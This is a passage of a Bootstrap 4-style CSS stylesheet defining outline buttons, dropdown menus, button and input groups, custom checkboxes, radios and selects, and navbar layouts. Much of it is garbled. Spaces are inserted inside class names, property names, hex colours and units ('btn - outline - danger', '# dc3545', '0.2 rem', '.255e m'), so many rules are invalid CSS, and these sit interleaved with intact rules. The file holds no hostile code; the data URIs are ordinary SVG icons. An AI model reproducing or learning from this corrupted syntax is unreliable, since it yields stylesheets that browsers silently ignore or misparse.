.btn - outline - danger: disabled {
color: # dc3545;
background - color: transparent
}
.btn - outline - danger: not(: disabled): not(.disabled).active,
.btn - outline - danger: not(: disabled): not(.disabled): active,
.show > .btn - outline - danger.dropdown - toggle {
color: # fff;
background - color: # dc3545;
border - color: # dc3545
}
.btn - outline - danger: not(: disabled): not(.disabled).active: focus,
.btn - outline - danger: not(: disabled): not(.disabled): active: focus,
.show > .btn - outline - danger.dropdown - toggle: focus {
box - shadow: 0 0 0.2 rem rgba(220, 53, 69, .5)
}
.btn - outline - light {
color: # f8f9fa;
background - color: transparent;
background - image: none;
border - color: # f8f9fa
}
.btn - outline - light: hover {
color: #212529;
background-color: # f8f9fa;
border - color: # f8f9fa
}
.btn - outline - light.focus,
.btn - outline - light: focus {
box - shadow: 0 0 0.2 rem rgba(248, 249, 250, .5)
}
.btn - outline - light.disabled,
.btn - outline - light: disabled {
color: # f8f9fa;
background - color: transparent
}
.btn - outline - light: not(: disabled): not(.disabled).active,
.btn - outline - light: not(: disabled): not(.disabled): active,
.show > .btn - outline - light.dropdown - toggle {
color: #212529;
background-color: # f8f9fa;
border - color: # f8f9fa
}
.btn - outline - light: not(: disabled): not(.disabled).active: focus,
.btn - outline - light: not(: disabled): not(.disabled): active: focus,
.show > .btn - outline - light.dropdown - toggle: focus {
box - shadow: 0 0 0.2 rem rgba(248, 249, 250, .5)
}
.btn - outline - dark {
color: #343a40;
background-color: transparent;
background-image: none;
border-color: # 343 a40
}
.btn - outline - dark: hover {
color: # fff;
background - color: #343a40;
border-color: # 343 a40
}
.btn - outline - dark.focus,
.btn - outline - dark: focus {
box - shadow: 0 0 0.2 rem rgba(52, 58, 64, .5)
}
.btn - outline - dark.disabled,
.btn - outline - dark: disabled {
color: #343a40;
background-color: transparent
}
.btn-outline-dark:not(:disabled):not(.disabled).active,
.btn-outline-dark:not(:disabled):not(.disabled):active,
.show>.btn-outline-dark.dropdown-toggle {
color: # fff;
background - color: #343a40;
border-color: # 343 a40
}
.btn - outline - dark: not(: disabled): not(.disabled).active: focus,
.btn - outline - dark: not(: disabled): not(.disabled): active: focus,
.show > .btn - outline - dark.dropdown - toggle: focus {
box - shadow: 0 0 0.2 rem rgba(52, 58, 64, .5)
}
.btn - link {
font - weight: 400;
color: #007bff;
background-color: transparent
}
.btn-link:hover {
color: # 0056 b3;
text - decoration: underline;
background - color: transparent;
border - color: transparent
}
.btn - link.focus,
.btn - link: focus {
text - decoration: underline;
border - color: transparent;
box - shadow: none
}
.btn - link.disabled,
.btn - link: disabled {
color: #6c757d
}
.btn-group-lg>.btn,
.btn-lg {
padding: .5rem 1rem;
font-size: 1.25rem;
line-height: 1.5;
border-radius: .3rem
}
.btn-group-sm>.btn,
.btn-sm {
padding: .25rem .5rem;
font-size: .875rem;
line-height: 1.5;
border-radius: .2rem
}
.btn-block {
display: block;
width: 100%
}
.btn-block+.btn-block {
margin-top: .5rem
}
input[type= button].btn - block,
input[type = reset].btn - block,
input[type = submit].btn - block {
width: 100 %
}
.fade {
opacity: 0;
transition: opacity.15 s linear
}
.fade.show {
opacity: 1
}
.collapse {
display: none
}
.collapse.show {
display: block
}
tr.collapse.show {
display: table - row
}
tbody.collapse.show {
display: table - row - group
}
.collapsing {
position: relative;
height: 0;
overflow: hidden;
transition: height.35 s ease
}
.dropdown,
.dropup {
position: relative
}
.dropdown - toggle::after {
display: inline - block;
width: 0;
height: 0;
margin - left: .255e m;
vertical - align: .255e m;
content: "";
border - top: .3e m solid;
border - right: .3e m solid transparent;
border - bottom: 0;
border - left: .3e m solid transparent
}
.dropdown - toggle: empty::after {
margin - left: 0
}
.dropdown - menu {
position: absolute;
top: 100 % ;
left: 0;
z - index: 1000;
display: none;
float: left;
min - width: 10 rem;
padding: .5 rem 0;
margin: .125 rem 0 0;
font - size: 1 rem;
color: #212529;
text-align: left;
list-style: none;
background-color: # fff;
background - clip: padding - box;
border: 1 px solid rgba(0, 0, 0, .15);
border - radius: .25 rem
}
.dropup.dropdown - menu {
margin - top: 0;
margin - bottom: .125 rem
}
.dropup.dropdown - toggle::after {
display: inline - block;
width: 0;
height: 0;
margin - left: .255e m;
vertical - align: .255e m;
content: "";
border - top: 0;
border - right: .3e m solid transparent;
border - bottom: .3e m solid;
border - left: .3e m solid transparent
}
.dropup.dropdown - toggle: empty::after {
margin - left: 0
}
.dropright.dropdown - menu {
margin - top: 0;
margin - left: .125 rem
}
.dropright.dropdown - toggle::after {
display: inline - block;
width: 0;
height: 0;
margin - left: .255e m;
vertical - align: .255e m;
content: "";
border - top: .3e m solid transparent;
border - bottom: .3e m solid transparent;
border - left: .3e m solid
}
.dropright.dropdown - toggle: empty::after {
margin - left: 0
}
.dropright.dropdown - toggle::after {
vertical - align: 0
}
.dropleft.dropdown - menu {
margin - top: 0;
margin - right: .125 rem
}
.dropleft.dropdown - toggle::after {
display: inline - block;
width: 0;
height: 0;
margin - left: .255e m;
vertical - align: .255e m;
content: ""
}
.dropleft.dropdown - toggle::after {
display: none
}
.dropleft.dropdown - toggle::before {
display: inline - block;
width: 0;
height: 0;
margin - right: .255e m;
vertical - align: .255e m;
content: "";
border - top: .3e m solid transparent;
border - right: .3e m solid;
border - bottom: .3e m solid transparent
}
.dropleft.dropdown - toggle: empty::after {
margin - left: 0
}
.dropleft.dropdown - toggle::before {
vertical - align: 0
}
.dropdown - divider {
height: 0;
margin: .5 rem 0;
overflow: hidden;
border - top: 1 px solid # e9ecef
}
.dropdown - item {
display: block;
width: 100 % ;
padding: .25 rem 1.5 rem;
clear: both;
font - weight: 400;
color: #212529;
text-align: inherit;
white-space: nowrap;
background-color: transparent;
border: 0
}
.dropdown-item:focus,
.dropdown-item:hover {
color: # 16181 b;
text - decoration: none;
background - color: # f8f9fa
}
.dropdown - item.active,
.dropdown - item: active {
color: # fff;
text - decoration: none;
background - color: #007bff
}
.dropdown-item.disabled,
.dropdown-item:disabled {
color: # 6 c757d;
background - color: transparent
}
.dropdown - menu.show {
display: block
}
.dropdown - header {
display: block;
padding: .5 rem 1.5 rem;
margin - bottom: 0;
font - size: .875 rem;
color: #6c757d;
white-space: nowrap
}
.btn-group,
.btn-group-vertical {
position: relative;
display: -webkit-inline-box;
display: -ms-inline-flexbox;
display: inline-flex;
vertical-align: middle
}
.btn-group-vertical>.btn,
.btn-group>.btn {
position: relative;
-webkit-box-flex: 0;
-ms-flex: 0 1 auto;
flex: 0 1 auto
}
.btn-group-vertical>.btn:hover,
.btn-group>.btn:hover {
z-index: 1
}
.btn-group-vertical>.btn.active,
.btn-group-vertical>.btn:active,
.btn-group-vertical>.btn:focus,
.btn-group>.btn.active,
.btn-group>.btn:active,
.btn-group>.btn:focus {
z-index: 1
}
.btn-group .btn+.btn,
.btn-group .btn+.btn-group,
.btn-group .btn-group+.btn,
.btn-group .btn-group+.btn-group,
.btn-group-vertical .btn+.btn,
.btn-group-vertical .btn+.btn-group,
.btn-group-vertical .btn-group+.btn,
.btn-group-vertical .btn-group+.btn-group {
margin-left: -1px
}
.btn-toolbar {
display: -webkit-box;
display: -ms-flexbox;
display: flex;
-ms-flex-wrap: wrap;
flex-wrap: wrap;
-webkit-box-pack: start;
-ms-flex-pack: start;
justify-content: flex-start
}
.btn-toolbar .input-group {
width: auto
}
.btn-group>.btn:first-child {
margin-left: 0
}
.btn-group>.btn-group:not(:last-child)>.btn,
.btn-group>.btn:not(:last-child):not(.dropdown-toggle) {
border-top-right-radius: 0;
border-bottom-right-radius: 0
}
.btn-group>.btn-group:not(:first-child)>.btn,
.btn-group>.btn:not(:first-child) {
border-top-left-radius: 0;
border-bottom-left-radius: 0
}
.dropdown-toggle-split {
padding-right: .5625rem;
padding-left: .5625rem
}
.dropdown-toggle-split::after {
margin-left: 0
}
.btn-group-sm>.btn+.dropdown-toggle-split,
.btn-sm+.dropdown-toggle-split {
padding-right: .375rem;
padding-left: .375rem
}
.btn-group-lg>.btn+.dropdown-toggle-split,
.btn-lg+.dropdown-toggle-split {
padding-right: .75rem;
padding-left: .75rem
}
.btn-group-vertical {
-webkit-box-orient: vertical;
-webkit-box-direction: normal;
-ms-flex-direction: column;
flex-direction: column;
-webkit-box-align: start;
-ms-flex-align: start;
align-items: flex-start;
-webkit-box-pack: center;
-ms-flex-pack: center;
justify-content: center
}
.btn-group-vertical .btn,
.btn-group-vertical .btn-group {
width: 100%
}
.btn-group-vertical>.btn+.btn,
.btn-group-vertical>.btn+.btn-group,
.btn-group-vertical>.btn-group+.btn,
.btn-group-vertical>.btn-group+.btn-group {
margin-top: -1px;
margin-left: 0
}
.btn-group-vertical>.btn-group:not(:last-child)>.btn,
.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle) {
border-bottom-right-radius: 0;
border-bottom-left-radius: 0
}
.btn-group-vertical>.btn-group:not(:first-child)>.btn,
.btn-group-vertical>.btn:not(:first-child) {
border-top-left-radius: 0;
border-top-right-radius: 0
}
.btn-group-toggle>.btn,
.btn-group-toggle>.btn-group>.btn {
margin-bottom: 0
}
.btn-group-toggle>.btn input[type= checkbox],
.btn - group - toggle > .btn input[type = radio],
.btn - group - toggle > .btn - group > .btn input[type = checkbox],
.btn - group - toggle > .btn - group > .btn input[type = radio] {
position: absolute;
clip: rect(0, 0, 0, 0);
pointer - events: none
}
.input - group {
position: relative;
display: -webkit - box;
display: -ms - flexbox;
display: flex; - ms - flex - wrap: wrap;
flex - wrap: wrap; - webkit - box - align: stretch; - ms - flex - align: stretch;
align - items: stretch;
width: 100 %
}
.input - group > .custom - file,
.input - group > .custom - select,
.input - group > .form - control {
position: relative; - webkit - box - flex: 1; - ms - flex: 1 1 auto;
flex: 1 1 auto;
width: 1 % ;
margin - bottom: 0
}
.input - group > .custom - file: focus,
.input - group > .custom - select: focus,
.input - group > .form - control: focus {
z - index: 3
}
.input - group > .custom - file + .custom - file,
.input - group > .custom - file + .custom - select,
.input - group > .custom - file + .form - control,
.input - group > .custom - select + .custom - file,
.input - group > .custom - select + .custom - select,
.input - group > .custom - select + .form - control,
.input - group > .form - control + .custom - file,
.input - group > .form - control + .custom - select,
.input - group > .form - control + .form - control {
margin - left: -1 px
}
.input - group > .custom - select: not(: last - child),
.input - group > .form - control: not(: last - child) {
border - top - right - radius: 0;
border - bottom - right - radius: 0
}
.input - group > .custom - select: not(: first - child),
.input - group > .form - control: not(: first - child) {
border - top - left - radius: 0;
border - bottom - left - radius: 0
}
.input - group > .custom - file {
display: -webkit - box;
display: -ms - flexbox;
display: flex; - webkit - box - align: center; - ms - flex - align: center;
align - items: center
}
.input - group > .custom - file: not(: last - child).custom - file - label,
.input - group > .custom - file: not(: last - child).custom - file - label::before {
border - top - right - radius: 0;
border - bottom - right - radius: 0
}
.input - group > .custom - file: not(: first - child).custom - file - label,
.input - group > .custom - file: not(: first - child).custom - file - label::before {
border - top - left - radius: 0;
border - bottom - left - radius: 0
}
.input - group - append,
.input - group - prepend {
display: -webkit - box;
display: -ms - flexbox;
display: flex
}
.input - group - append.btn,
.input - group - prepend.btn {
position: relative;
z - index: 2
}
.input - group - append.btn + .btn,
.input - group - append.btn + .input - group - text,
.input - group - append.input - group - text + .btn,
.input - group - append.input - group - text + .input - group - text,
.input - group - prepend.btn + .btn,
.input - group - prepend.btn + .input - group - text,
.input - group - prepend.input - group - text + .btn,
.input - group - prepend.input - group - text + .input - group - text {
margin - left: -1 px
}
.input - group - prepend {
margin - right: -1 px
}
.input - group - append {
margin - left: -1 px
}
.input - group - text {
display: -webkit - box;
display: -ms - flexbox;
display: flex; - webkit - box - align: center; - ms - flex - align: center;
align - items: center;
padding: .375 rem.75 rem;
margin - bottom: 0;
font - size: 1 rem;
font - weight: 400;
line - height: 1.5;
color: #495057;
text-align: center;
white-space: nowrap;
background-color: # e9ecef;
border: 1 px solid # ced4da;
border - radius: .25 rem
}
.input - group - text input[type = checkbox],
.input - group - text input[type = radio] {
margin - top: 0
}
.input - group > .input - group - append: last - child > .btn: not(: last - child): not(.dropdown - toggle),
.input - group > .input - group - append: last - child > .input - group - text: not(: last - child),
.input - group > .input - group - append: not(: last - child) > .btn,
.input - group > .input - group - append: not(: last - child) > .input - group - text,
.input - group > .input - group - prepend > .btn,
.input - group > .input - group - prepend > .input - group - text {
border - top - right - radius: 0;
border - bottom - right - radius: 0
}
.input - group > .input - group - append > .btn,
.input - group > .input - group - append > .input - group - text,
.input - group > .input - group - prepend: first - child > .btn: not(: first - child),
.input - group > .input - group - prepend: first - child > .input - group - text: not(: first - child),
.input - group > .input - group - prepend: not(: first - child) > .btn,
.input - group > .input - group - prepend: not(: first - child) > .input - group - text {
border - top - left - radius: 0;
border - bottom - left - radius: 0
}
.custom - control {
position: relative;
display: block;
min - height: 1.5 rem;
padding - left: 1.5 rem
}
.custom - control - inline {
display: -webkit - inline - box;
display: -ms - inline - flexbox;
display: inline - flex;
margin - right: 1 rem
}
.custom - control - input {
position: absolute;
z - index: -1;
opacity: 0
}
.custom - control - input: checked~.custom - control - label::before {
color: # fff;
background - color: #007bff
}
.custom-control-input:focus~.custom-control-label::before {
box-shadow: 0 0 0 1px # fff,
0 0 0.2 rem rgba(0, 123, 255, .25)
}
.custom - control - input: active~.custom - control - label::before {
color: # fff;
background - color: # b3d7ff
}
.custom - control - input: disabled~.custom - control - label {
color: #6c757d
}
.custom-control-input:disabled~.custom-control-label::before {
background-color: # e9ecef
}
.custom - control - label {
margin - bottom: 0
}
.custom - control - label::before {
position: absolute;
top: .25 rem;
left: 0;
display: block;
width: 1 rem;
height: 1 rem;
pointer - events: none;
content: ""; - webkit - user - select: none; - moz - user - select: none; - ms - user - select: none;
user - select: none;
background - color: # dee2e6
}
.custom - control - label::after {
position: absolute;
top: .25 rem;
left: 0;
display: block;
width: 1 rem;
height: 1 rem;
content: "";
background - repeat: no - repeat;
background - position: center center;
background - size: 50 % 50 %
}
.custom - checkbox.custom - control - label::before {
border - radius: .25 rem
}
.custom - checkbox.custom - control - input: checked~.custom - control - label::before {
background - color: #007bff
}
.custom-checkbox .custom-control-input:checked~.custom-control-label::after {
background-image: url("data:image/svg+xml;charset= utf8, % 3 Csvg xmlns = 'http://www.w3.org/2000/svg'
viewBox = '0 0 8 8' % 3E % 3 Cpath fill = '%23fff'
d = 'M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z' / % 3E % 3 C / svg % 3E ")
}
.custom - checkbox.custom - control - input: indeterminate~.custom - control - label::before {
background - color: #007bff
}
.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::after {
background-image: url("data:image/svg+xml;charset= utf8, % 3 Csvg xmlns = 'http://www.w3.org/2000/svg'
viewBox = '0 0 4 4' % 3E % 3 Cpath stroke = '%23fff'
d = 'M0 2h4' / % 3E % 3 C / svg % 3E ")
}
.custom - checkbox.custom - control - input: disabled: checked~.custom - control - label::before {
background - color: rgba(0, 123, 255, .5)
}
.custom - checkbox.custom - control - input: disabled: indeterminate~.custom - control - label::before {
background - color: rgba(0, 123, 255, .5)
}
.custom - radio.custom - control - label::before {
border - radius: 50 %
}
.custom - radio.custom - control - input: checked~.custom - control - label::before {
background - color: #007bff
}
.custom-radio .custom-control-input:checked~.custom-control-label::after {
background-image: url("data:image/svg+xml;charset= utf8, % 3 Csvg xmlns = 'http://www.w3.org/2000/svg'
viewBox = '-4 -4 8 8' % 3E % 3 Ccircle r = '3'
fill = '%23fff' / % 3E % 3 C / svg % 3E ")
}
.custom - radio.custom - control - input: disabled: checked~.custom - control - label::before {
background - color: rgba(0, 123, 255, .5)
}
.custom - select {
display: inline - block;
width: 100 % ;
height: calc(2.25 rem + 2 px);
padding: .375 rem 1.75 rem.375 rem.75 rem;
line - height: 1.5;
color: #495057;
vertical-align: middle;
background: # fff url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E") no - repeat right.75 rem center;
background - size: 8 px 10 px;
border: 1 px solid # ced4da;
border - radius: .25 rem; - webkit - appearance: none; - moz - appearance: none;
appearance: none
}
.custom - select: focus {
border - color: #80bdff;
outline: 0;
box-shadow: inset 0 1px 2px rgba(0, 0, 0, .075), 0 0 5px rgba(128, 189, 255, .5)
}
.custom-select:focus::-ms-value {
color: # 495057;
background - color: # fff
}
.custom - select[multiple],
.custom - select[size]: not([size = "1"]) {
height: auto;
padding - right: .75 rem;
background - image: none
}
.custom - select: disabled {
color: #6c757d;
background-color: # e9ecef
}
.custom - select::-ms - expand {
opacity: 0
}
.custom - select - sm {
height: calc(1.8125 rem + 2 px);
padding - top: .375 rem;
padding - bottom: .375 rem;
font - size: 75 %
}
.custom - select - lg {
height: calc(2.875 rem + 2 px);
padding - top: .375 rem;
padding - bottom: .375 rem;
font - size: 125 %
}
.custom - file {
position: relative;
display: inline - block;
width: 100 % ;
height: calc(2.25 rem + 2 px);
margin - bottom: 0
}
.custom - file - input {
position: relative;
z - index: 2;
width: 100 % ;
height: calc(2.25 rem + 2 px);
margin: 0;
opacity: 0
}
.custom - file - input: focus~.custom - file - control {
border - color: #80bdff;
box-shadow: 0 0 0 .2rem rgba(0, 123, 255, .25)
}
.custom-file-input:focus~.custom-file-control::before {
border-color: # 80 bdff
}
.custom - file - input: lang(en) ~.custom - file - label::after {
content: "Browse"
}
.custom - file - label {
position: absolute;
top: 0;
right: 0;
left: 0;
z - index: 1;
height: calc(2.25 rem + 2 px);
padding: .375 rem.75 rem;
line - height: 1.5;
color: #495057;
background-color: # fff;
border: 1 px solid # ced4da;
border - radius: .25 rem
}
.custom - file - label::after {
position: absolute;
top: 0;
right: 0;
bottom: 0;
z - index: 3;
display: block;
height: calc(calc(2.25 rem + 2 px) - 1 px * 2);
padding: .375 rem.75 rem;
line - height: 1.5;
color: #495057;
content: "Browse";
background-color: # e9ecef;
border - left: 1 px solid # ced4da;
border - radius: 0.25 rem.25 rem 0
}
.nav {
display: -webkit - box;
display: -ms - flexbox;
display: flex; - ms - flex - wrap: wrap;
flex - wrap: wrap;
padding - left: 0;
margin - bottom: 0;
list - style: none
}
.nav - link {
display: block;
padding: .5 rem 1 rem
}
.nav - link: focus,
.nav - link: hover {
text - decoration: none
}
.nav - link.disabled {
color: #6c757d
}
.nav-tabs {
border-bottom: 1px solid # dee2e6
}
.nav - tabs.nav - item {
margin - bottom: -1 px
}
.nav - tabs.nav - link {
border: 1 px solid transparent;
border - top - left - radius: .25 rem;
border - top - right - radius: .25 rem
}
.nav - tabs.nav - link: focus,
.nav - tabs.nav - link: hover {
border - color: # e9ecef # e9ecef # dee2e6
}
.nav - tabs.nav - link.disabled {
color: #6c757d;
background-color: transparent;
border-color: transparent
}
.nav-tabs .nav-item.show .nav-link,
.nav-tabs .nav-link.active {
color: # 495057;
background - color: # fff;
border - color: # dee2e6 # dee2e6 # fff
}
.nav - tabs.dropdown - menu {
margin - top: -1 px;
border - top - left - radius: 0;
border - top - right - radius: 0
}
.nav - pills.nav - link {
border - radius: .25 rem
}
.nav - pills.nav - link.active,
.nav - pills.show > .nav - link {
color: # fff;
background - color: #007bff
}
.nav-fill .nav-item {
-webkit-box-flex: 1;
-ms-flex: 1 1 auto;
flex: 1 1 auto;
text-align: center
}
.nav-justified .nav-item {
-ms-flex-preferred-size: 0;
flex-basis: 0;
-webkit-box-flex: 1;
-ms-flex-positive: 1;
flex-grow: 1;
text-align: center
}
.tab-content>.tab-pane {
display: none
}
.tab-content>.active {
display: block
}
.navbar {
position: relative;
display: -webkit-box;
display: -ms-flexbox;
display: flex;
-ms-flex-wrap: wrap;
flex-wrap: wrap;
-webkit-box-align: center;
-ms-flex-align: center;
align-items: center;
-webkit-box-pack: justify;
-ms-flex-pack: justify;
justify-content: space-between;
padding: .5rem 1rem
}
.navbar>.container,
.navbar>.container-fluid {
display: -webkit-box;
display: -ms-flexbox;
display: flex;
-ms-flex-wrap: wrap;
flex-wrap: wrap;
-webkit-box-align: center;
-ms-flex-align: center;
align-items: center;
-webkit-box-pack: justify;
-ms-flex-pack: justify;
justify-content: space-between
}
.navbar-brand {
display: inline-block;
padding-top: .3125rem;
padding-bottom: .3125rem;
margin-right: 1rem;
font-size: 1.25rem;
line-height: inherit;
white-space: nowrap
}
.navbar-brand:focus,
.navbar-brand:hover {
text-decoration: none
}
.navbar-nav {
display: -webkit-box;
display: -ms-flexbox;
display: flex;
-webkit-box-orient: vertical;
-webkit-box-direction: normal;
-ms-flex-direction: column;
flex-direction: column;
padding-left: 0;
margin-bottom: 0;
list-style: none
}
.navbar-nav .nav-link {
padding-right: 0;
padding-left: 0
}
.navbar-nav .dropdown-menu {
position: static;
float: none
}
.navbar-text {
display: inline-block;
padding-top: .5rem;
padding-bottom: .5rem
}
.navbar-collapse {
-ms-flex-preferred-size: 100%;
flex-basis: 100%;
-webkit-box-flex: 1;
-ms-flex-positive: 1;
flex-grow: 1;
-webkit-box-align: center;
-ms-flex-align: center;
align-items: center
}
.navbar-toggler {
padding: .25rem .75rem;
font-size: 1.25rem;
line-height: 1;
background-color: transparent;
border: 1px solid transparent;
border-radius: .25rem
}
.navbar-toggler:focus,
.navbar-toggler:hover {
text-decoration: none
}
.navbar-toggler:not(:disabled):not(.disabled) {
cursor: pointer
}
.navbar-toggler-icon {
display: inline-block;
width: 1.5em;
height: 1.5em;
vertical-align: middle;
content: "";
background: no-repeat center center;
background-size: 100% 100%
}
@media (max-width:575.98px) {
.navbar-expand-sm>.container,
.navbar-expand-sm>.container-fluid {
padding-right: 0;
padding-left: 0
}
}
@media (min-width:576px) {
.navbar-expand-sm {
-webkit-box-orient: horizontal;
-webkit-box-direction: normal;
-ms-flex-flow: row nowrap;
flex-flow: row nowrap;
-webkit-box-pack: start;
-ms-flex-pack: start;
justify-content: flex-start
}
.navbar-expand-sm .navbar-nav {
-webkit-box-orient: horizontal;
-webkit-box-direction: normal;
-ms-flex-direction: row;
flex-direction: row
}
.navbar-expand-sm .navbar-nav .dropdown-menu {
position: absolute
}
.navbar-expand-sm .navbar-nav .dropdown-menu-right {
right: 0;
left: auto
}
.navbar-expand-sm .navbar-nav .nav-link {
padding-right: .5rem;
padding-left: .5rem
}
.navbar-expand-sm>.container,
.navbar-expand-sm>.container-fluid {
-ms-flex-wrap: nowrap;
flex-wrap: nowrap
}
.navbar-expand-sm .navbar-collapse {
display: -webkit-box !important;
display: -ms-flexbox !important;
display: flex !important;
-ms-flex-preferred-size: auto;
flex-basis: auto
}
.navbar-expand-sm .navbar-toggler {
display: none
}
.navbar-expand-sm .dropup .dropdown-menu {
top: auto;
bottom: 100%
}
}
@media (max-width:767.98px) {
.navbar-expand-md>.container,
.navbar-expand-md>.container-fluid {
padding-right: 0;
padding-left: 0
}
}
@media (min-width:768px) {
.navbar-expand-md {
-webkit-box-orient: horizontal;
-webkit-box-direction: normal;
-ms-flex-flow: row nowrap;
flex-flow: row nowrap;
-webkit-box-pack: start;
-ms-flex-pack: start;
justify-content: flex-start
}
.navbar-expand-md .navbar-nav {
-webkit-box-orient: horizontal;
-webkit-box-direction: normal;
-ms-flex-direction: row;
flex-direction: row
}
.navbar-expand-md .navbar-nav .dropdown-menu {
position: absolute
}
.navbar-expand-md .navbar-nav .dropdown-menu-right {
right: 0;
left: auto
}
.navbar-expand-md .navbar-nav .nav-link {
padding-right: .5rem;
padding-left: .5rem
}
.navbar-expand-md>.container,
.navbar-expand-md>.container-fluid {
-ms-flex-wrap: nowrap;
flex-wrap: nowrap
}
.navbar-expand-md .navbar-collapse {
display: -webkit-box !important;
display: -ms-flexbox !important;
display: flex !important;
-ms-flex-preferred-size: auto;
flex-basis: auto
}
.navbar-expand-md .navbar-toggler {
display: none
}
.navbar-expand-md .dropup .dropdown-menu {
top: auto;
bottom: 100%
}
}
@media (max-width:991.98px) {
.navbar-expand-lg>.container,
.navbar-expand-lg>.container-fluid {
padding-right: 0;
padding-left: 0
}
}
@media (min-width:992px) {
.navbar-expand-lg {
-webkit-box-orient: horizontal;
-webkit-box-direction: normal;
-ms-flex-flow: row nowrap;
flex-flow: row nowrap;
-webkit-box-pack: start;
-ms-flex-pack: start;
justify-content: flex-start
}
.navbar-expand-lg .navbar-nav {
-webkit-box-orient: horizontal;
-webkit-box-direction: normal;
-ms-flex-direction: row;
flex-direction: row
}
.navbar-expand-lg .navbar-nav .dropdown-menu {
position: absolute
}
.navbar-expand-lg .navbar-nav .dropdown-menu-right {
right: 0;
left: auto
}
.navbar-expand-lg .navbar-nav .nav-link {
padding-right: .5rem;
padding-left: .5rem
}
.navbar-expand-lg>.container,
.navbar-expand-lg>.container-fluid {
-ms-flex-wrap: nowrap;
flex-wrap: nowrap
}
.navbar-expand-lg .navbar-collapse {
display: -webkit-box !important;
display: -ms-flexbox !important;
display: flex !important;
-ms-flex-preferred-size: auto;
flex-basis: auto
}
.navbar-expand-lg .navbar-toggler {
display: none
}
.navbar-expand-lg .dropup .dropdown-menu {
top: auto;
bottom: 100%
}
}
@media (max-width:1199.98px) {
.navbar-expand-xl>.container,
.navbar-expand-xl>.container-fluid {
padding-right: 0;
padding-left: 0
}
}
@media (min-width:1200px) {
.navbar-expand-xl {
-webkit-box-orient: horizontal;
-webkit-box-direction: normal;
-ms-flex-flow: row nowrap;
flex-flow: row nowrap;
-webkit-box-pack: start;
-ms-flex-pack: start;
justify-content: flex-start
}
.navbar-expand-xl .navbar-nav {
-webkit-box-orient: horizontal;
-webkit-box-direction: normal;
-ms-flex-direction: row;
flex-direction: row
}
.navbar-expand-xl .navbar-nav .dropdown-menu {
position: absolute
}
.navbar-expand-xl .navbar-nav .dropdown-menu-right {
right: 0;
left: auto
}
.navbar-expand-xl .navbar-nav .nav-link {
padding-right: .5rem;
padding-left: .5rem
}
.navbar-expand-xl>.container,
.navbar-expand-xl>.container-fluid {
-ms-flex-wrap: nowrap;
flex-wrap: nowrap
}
.navbar-expand-xl .navbar-collapse {
display: -webkit-box !important;
display: -ms-flexbox !important;
display: flex !important;
-ms-flex-preferred-size: auto;
flex-basis: auto
}
.navbar-expand-xl .navbar-toggler {
display: none
}
.navbar-expand-xl .dropup .dropdown-menu {
top: auto;
bottom: 100%
}
}
.navbar-expand {
-webkit-box-orient: horizontal;
-webkit-box-direction: normal;
-ms-flex-flow: row nowrap;
flex-flow: row nowrap;
-webkit-box-pack: start;
-ms-flex-pack: start;
justify-content: flex-start
}
.navbar-expand>.container,
.navbar-expand>.container-fluid {
padding-right: 0;
padding-left: 0
}
.navbar-expand .navbar-nav {
-webkit-box-orient: horizontal;
-webkit-box-direction: normal;
-ms-flex-direction: row;
flex-direction: row
}
.navbar-expand .navbar-nav .dropdown-menu {
position: absolute
}
.navbar-expand .navbar-nav .dropdown-menu-right {
right: 0;
left: auto
}
.navbar-expand .navbar-nav .nav-link {
padding-right: .5rem;
padding-left: .5rem
}
.navbar-expand>.container,
.navbar-expand>.container-fluid {
-ms-flex-wrap: nowrap;
flex-wrap: nowrap
}
.navbar-expand .navbar-collapse {
display: -webkit-box !important;
display: -ms-flexbox !important;
display: flex !important;
-ms-flex-preferred-size: auto;
flex-basis: auto
}
.navbar-expand .navbar-toggler {
display: none
}
.navbar-expand .dropup .dropdown-menu {
top: auto;
bottom: 100%
}
.navbar-light .navbar-brand {
color: rgba(0, 0, 0, .9)
}
.navbar-light .navbar-brand:focus,
.navbar-light .navbar-brand:hover {
color: rgba(0, 0, 0, .9)
}
.navbar-light .navbar-nav .nav-link {
color: rgba(0, 0, 0, .5)
}
.navbar-light .navbar-nav .nav-link:focus,
.navbar-light .navbar-nav .nav-link:hover {
color: rgba(0, 0, 0, .7)
}
.navbar-light .navbar-nav .nav-link.disabled {
color: rgba(0, 0, 0, .3)
}
.navbar-light .navbar-nav .active>.nav-link,
.navbar-light .navbar-nav .nav-link.active,
.navbar-light .navbar-nav .nav-link.show,
.navbar-light .navbar-nav .show>.nav-link {
color: rgba(0, 0, 0, .9)
}
.navbar-light .navbar-toggler {
color: rgba(0, 0, 0, .5);
border-color: rgba(0, 0, 0, .1)
}
.navbar-light .navbar-toggler-icon {
background-image: url("data:image/svg+xml;charset= utf8,
% 3 Csvg viewBox = '0 0 30 30'
xmlns = 'http://www.w3.org/2000/svg' % 3E % 3 Cpath stroke = 'rgba(0, 0, 0, 0.5)'
stroke - width = '2'
stroke - linecap = 'round'
stroke - miterlimit = '10'
d = 'M4 7h22M4 15h22M4 23h22' / % 3E % 3 C / svg % 3E ")
}
.navbar - light.navbar - text {
color: rgba(0, 0, 0, .5)
}
.navbar - light.navbar - text a {
color: rgba(0, 0, 0, .9)
}
.navbar - light.navbar - text a: focus,
.navbar - light.navbar - text a: hover {
color: rgba(0, 0, 0, .9)
}
.navbar - dark.navbar - brand {
color: # fff
}
.navbar - dark.navbar - brand: focus,
.navbar - dark.navbar - brand: hover {
color: # fff
}
.navbar - dark.navbar - nav.nav - link {
color: rgba(255, 255, 255, .5)
}
.navbar - dark.navbar - nav.nav - link: focus,
.navbar - dark.navbar - nav.nav - link: hover {
color: rgba(255, 255, 255, .75)
}
.navbar - dark.navbar - nav.nav - link.disabled {
color: rgba(255, 255, 255, .25)
}
.navbar - dark.navbar - nav.active > .nav - link,
.navbar - dark.navbar - nav.nav - link.active,
.navbar - dark.navbar - nav.nav - link.show,
.navbar - dark.navbar - nav.show > .nav - link {
color: # fff
}
.navbar - dark.navbar - toggler {
color: rgba(255, 255, 255, .5);
border - color: rgba(255, 255, 255, .1)
}
.navbar - dark.navbar - toggler - icon {
